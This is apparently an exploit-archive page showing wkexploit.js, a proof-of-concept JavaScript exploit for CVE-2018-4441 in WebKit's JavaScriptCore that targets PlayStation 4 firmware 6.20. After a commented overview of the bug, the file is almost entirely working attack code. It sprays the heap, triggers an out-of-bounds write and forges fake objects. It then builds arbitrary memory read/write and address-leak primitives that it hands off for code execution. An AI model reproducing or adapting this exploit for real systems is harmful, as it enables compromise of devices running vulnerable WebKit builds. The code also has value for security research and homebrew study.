4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / wkexploit.js JS
/*
 * PS4 WebKit Exploit 6.20
 * By Specter (@SpecterDev)
 * -
 * This file contains implementation for a JavaScriptCore (JSC) exploit targetting the
 * PlayStation 4 on 6.20 firmware. The functions in this file specifically craft arbitrary
 * memory read/write primitives, which are used to get code execution in index.html. This
 * part of the exploit should be portable to lower firmwares with little to no changes.
 * -
 * A brief overview of the vulnerability...
 * 
 * The exploit leverages CVE-2018-4441, a bug JSArray::shiftCountWithArrayStorage found by
 * lokihardt. Due to flawed logic, essentially the bug allows us to shift an arbitrary amount
 * of QWORDS (64-bit integers) down by 8 bytes. Via some heap feng shui with setting up target
 * butterflies, this eventually results in an ArrayWithDoubles object with a very large size,
 * allowing us to write out-of-bounds of the array. Using this, we can write into an
 * ArrayWithContiguous (array of objects) to inject fake JavaScript objects and leak the address
 * of real JavaScript objects by causing type confusion in the inline slots.
 *
 * With the ability to craft fake objects that JSC thinks are real ones, we can create our own arrays
 * and modify where they point to internally, giving us an arbitrary read/write. With the ability to
 * leak the address of real objects, we can effectively locate any object we want to in memory for
 * code execution.
 */
var structs = [];

function zeroFill(number, width)
{
    width -= number.toString().length;

    if (width > 0)
    {
        return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
    }

    return number + ""; // always return a string
}

try
{
    // May need configuration depending on system? Left it as a variable just in case
    var sprayMax = 0x400;

    // Internal objects for u2d and d2u
    var conversionBuf = new ArrayBuffer(0x100);
    var u32 = new Uint32Array(conversionBuf);
    var f64 = new Float64Array(conversionBuf);

    // Helper for managing 64-bit values
    function int64(low, hi) {
        this.low = (low >>> 0);
        this.hi = (hi >>> 0);

        this.add32inplace = function (val) {
            var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo < this.low) {
                new_hi++;
            }

            this.hi = new_hi;
            this.low = new_lo;
        }

        this.add32 = function (val) {
            var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo < this.low) {
                new_hi++;
            }

            return new int64(new_lo, new_hi);
        }

        this.sub32 = function (val) {
            var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo > (this.low) & 0xFFFFFFFF) {
                new_hi--;
            }

            return new int64(new_lo, new_hi);
        }

        this.sub32inplace = function (val) {
            var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);

            if (new_lo > (this.low) & 0xFFFFFFFF) {
                new_hi--;
            }

            this.hi = new_hi;
            this.low = new_lo;
        }

        this.and32 = function (val) {
            var new_lo = this.low & val;
            var new_hi = this.hi;
            return new int64(new_lo, new_hi);
        }

        this.and64 = function (vallo, valhi) {
            var new_lo = this.low & vallo;
            var new_hi = this.hi & valhi;
            return new int64(new_lo, new_hi);
        }

        this.toString = function (val) {
            val = 16;
            var lo_str = (this.low >>> 0).toString(val);
            var hi_str = (this.hi >>> 0).toString(val);

            if (this.hi == 0)
                return lo_str;
            else
                lo_str = zeroFill(lo_str, 8)

            return hi_str + lo_str;
        }

        this.toPacked = function () {
            return {
                hi: this.hi,
                low: this.low
            };
        }

        this.setPacked = function (pck) {
            this.hi = pck.hi;
            this.low = pck.low;
            return this;
        }

        return this;
    }

    // Helper for converting doubles <-> uint64's
    function u2d(low, hi)
    {
        u32[0] = low;
        u32[1] = hi;

        return f64[0];
    }

    function d2u(val)
    {
        f64[0] = val;

        var retval = new int64(u32[0], u32[1]);

        return retval;
    }

    function main()
    {
        document.getElementById("go").style.display = 'none';

        debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------");

        // Setup the corrupted arr for OOB write
        //debug("[*] Setting up the attack array...");

        var arr = [1];

        arr.length = 0x100000;
        arr.splice(0, 0x11);

        arr.length = 0xfffffff0;

        // Spray some target butterflies in CopiedSpace
        //debug("[*] Spraying target objects on the heap...");

        var targetButterflies = [];

        for (var i = 0; i < sprayMax; i++)
        {
            targetButterflies[i] = [];

            targetButterflies[i].p0 = 0.0;
            targetButterflies[i].p1 = 0.1;
            targetButterflies[i].p2 = 0.2;
            targetButterflies[i].p3 = 0.3;
            targetButterflies[i].p4 = 0.4;
            targetButterflies[i].p5 = 0.5;
            targetButterflies[i].p6 = 0.6;
            targetButterflies[i].p7 = 0.7;
            targetButterflies[i].p8 = 0.8;
            targetButterflies[i].p9 = 0.9;

            for (var k = 0; k < 0x10; k++)
            {
                // We want to smash the length of the array to the max possible value
                targetButterflies[i][k] = u2d(0x7FFFFFFF, 0x7FEFFFFF);
            }
        }

        //debug("[*] Triggering memory corruption....");

        // Trigger shift of memory contents to cause OOB write on a sprayed array
        arr.splice(0x1000, 0x0, 1);

        var targetIdx = -1;

        //debug("[*] Finding corrupted ArrayWithDouble for rel R/W...");

        for (var i = 0; i < sprayMax; i++)
        {
            if (targetButterflies[i].length != 0x10)
            {
                //debug("[*] Found smashed butterfly!");
                //debug("|   [+] Index: 0x" + i.toString(16));
                //debug("|   [+] Length: 0x" + targetButterflies[i].length.toString(16));

                targetIdx = i;
                break;
            }
        }

        if (targetIdx == -1)
        {
            alert("[-] Failed to find smashed butterfly.");
            return;
        }

        // We now have an ArrayWithDoubles that can r/w OOB
        var oobDoubleArr = targetButterflies[targetIdx];

        debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------");

        // Spray some objects to use for arb. R/W primitive
        //debug("[*] Spraying ArrayWithContiguous objects...");

        var primitiveSpray = [];

        for (var i = 0; i < 0x800; i++)
        {
            primitiveSpray[i] = [];

            for (var k = 0; k < 0x10; k++)
            {
                primitiveSpray[i].p0 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p1 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p2 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p3 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p4 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p5 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p6 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p7 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p8 = u2d(0x13371337, 0x0);
                primitiveSpray[i].p9 = u2d(0x13371337, 0x0);

                if(k == 0)
                    primitiveSpray[i][k] = 13.37;
                else
                    primitiveSpray[i][k] = {};
            }
        }

        //debug("[*] Finding potential primitive...");

        var leakAndFakePrimIdx   = -1;
        var leakAndFakeDoubleIdx = -1;
        var foundPrimitive = false;

        for (var i = 0; i < 0x5000; i++)
        {
            var lookupIdx = 0x65000 + i;
            var oldVal    = oobDoubleArr[lookupIdx];

            if (oldVal == undefined)
                continue;

            oobDoubleArr[lookupIdx] = u2d(0x00001337, 0x0);

            for (var k = 0; k < 0x800; k++)
            {
                if(primitiveSpray[k].length != 0x10)
                {
                    //debug("[*] Found a primitive!")
                    //debug("|   [+] Primitive Index: 0x" + k.toString(16));
                    //debug("|   [+] Double Index: 0x" + lookupIdx.toString(16));
                    //debug("|   [+] Length: 0x" + primitiveSpray[k].length.toString(16));

                    foundPrimitive       = true;
                    leakAndFakePrimIdx   = k;
                    leakAndFakeDoubleIdx = lookupIdx;

                    oobDoubleArr[lookupIdx] = oldVal;

                    for(var test = 0; test < 0x10; test++)
                    {
                        f64[0] = oobDoubleArr[lookupIdx+test];
                    }

                    break;
                }
            }

            if(foundPrimitive)
                break;

            oobDoubleArr[lookupIdx] = oldVal;
        }

        var slave = new Uint32Array(0x1000);

        slave[0] = 0x13371337;

        // First, leak the address of an array we'll use later for leaking arbitrary JSValues
        //debug("[*] Leaking address of array for leak primitive...");

        var leakTgt = {a: 0, b: 0, c: 0, d: 0};
        leakTgt.a   = slave;

        primitiveSpray[leakAndFakePrimIdx][1] = leakTgt;

        var leakTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
        var leakTargetAddrInt64 = d2u(leakTargetAddr);

        // Second, leak the address of an array we'll use for faking an ArrayBufferView via inline properties
        //debug("[*] Leaking address of fake ArrayBufferView for R/W primitive...");

        // Spray arrays for structure id
        for (var i = 0; i < 0x100; i++)
        {
            var a = new Uint32Array(1);
            a[Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5)] = 1337;
            structs.push(a);
        }

        var rwTgt = {a: 0, b: 0, c: 0, d: 0};

        rwTgt.a   = u2d(0x00000200, 0x1602300);
        rwTgt.b   = 0;
        rwTgt.c   = slave;
        rwTgt.d   = 0x1337;

        primitiveSpray[leakAndFakePrimIdx][1] = rwTgt;

        var rwTargetAddr = oobDoubleArr[leakAndFakeDoubleIdx+2];
        var rwTargetAddrInt64 = d2u(rwTargetAddr);

        //debug("|   [+] R/W Target Address: 0x" + rwTargetAddrInt64.toString(16));

        // Address + 0x10 = inline storage, so it will be the address of our fake ArrayBufferView
        rwTargetAddrInt64 = rwTargetAddrInt64.add32(0x10);

        // Write this fake object address into oobDoubleArr[leakAndFakeDoubleIdx+2] to retrieve the handle via primitiveSpray
        oobDoubleArr[leakAndFakeDoubleIdx+2] = u2d(rwTargetAddrInt64.low, rwTargetAddrInt64.hi);

        var master = primitiveSpray[leakAndFakePrimIdx][1];

        var addrOfSlave = new int64(master[4], master[5]);

        //debug("[*] Setting up primitive functions...");

        var prim = {
            // Read 64 bits
            read8: function(addr)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                var retval = new int64(slave[0], slave[1]);

                return retval;
            },

            // Read 32 bits
            read4: function(addr)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                var retval = new int64(slave[0], 0);

                return retval;
            },

            // Write 64 bits
            write8: function(addr, val)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                if (val instanceof int64) {
                    slave[0] = val.low;
                    slave[1] = val.hi;
                } else {
                    slave[0] = val;
                    slave[1] = 0;
                }
            },

            // Write 32 bits
            write4: function(addr, val)
            {
                master[4] = addr.low;
                master[5] = addr.hi;

                slave[0]  = val;
            },

            // Leak an object virtual address
            leakval: function(jsval)
            {
                leakTgt.a = jsval;

                return prim.read8(leakTargetAddrInt64.add32(0x10));
            }
        };

        window.postExploit(prim);
    }
} catch (e) { alert(e); }